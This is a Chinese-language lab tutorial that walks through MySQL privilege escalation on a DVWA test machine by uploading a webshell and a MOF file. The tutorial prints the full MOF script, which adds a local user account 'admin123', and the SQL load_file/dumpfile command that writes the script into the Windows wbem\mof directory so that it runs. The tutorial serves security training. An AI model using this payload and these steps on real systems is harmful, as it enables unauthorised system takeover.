Mysql提权-基于webshell的MOF提权


实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于webshell的MOF提权

【实验目的】

??通过本实验理解如何利用MOF属性进行提权,掌握通过webshell上传和执行MOF提权脚本的方法,熟悉MOF文件的安全控制策略。

【实验环境】

攻击机:Win2008-att
webshell脚本:dama.php
mof提权脚本:nullevt.mof

目标靶机:Win2003-DVWA

【实验原理】

??MOF是Windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof),叫做“托管对象格式”,其作用是每隔一段时间就会去监控进程创建和死亡。MOF当中有一段是vbs脚本,当中大多数是cmd的添加用户的命令。

【实验步骤】

??1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。

??2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。

网站的URL为:http://【靶机IP地址】/dvwa

登录用户名为admin,密码为password

??3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。

??4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)、nullevt.mof文件上传至靶机。

??其中,nullevt.mof文件中的内容为如下这段代码:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin123 admin123 /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

??5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:

http://【靶机IP地址】/dvwa/hackable/uploads/dama.php

??出现登录提示框时,输入密码hucyuansheng登录。

??6.成功登录dama.php后,选择左侧菜单“提权工具”->“执行MySQL执行”,在命令框中输入如下SQL命令:

select load_file(‘C:\\Program Files\\phpStudy\\WWW\\DVWA\\hackable\\uploads\\nullevt.mof’) into dumpfile ‘C:\\Windows\\System32\\wbem\\mof\\nullevt.mof’;

??该命令的作用是将上传的nullevt.mof文件移动到C:/Windows/System32/wbem/mof目录下,使操作系统自动执行。

??7.在靶机上验证攻击效果。

(1)进入靶机的C:/Windows/System32/wbem/mof/good目录,会发现其下存在nullevt.mof文件。

??注意:如果mof文件正确执行,系统会自动从wbem/mof/放到wbem/mof/good下;如果不能正确执行,则会自动从wbem/mof/放到wbem/mof/bad下。

??(2)在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin123”。

??实验至此结束。

【思考与总结】

??通过本次实验,成功实现了利用webshell命令将MOF提权文件写入系统执行目录的过程,掌握MOF提权的原理和具体利用过程。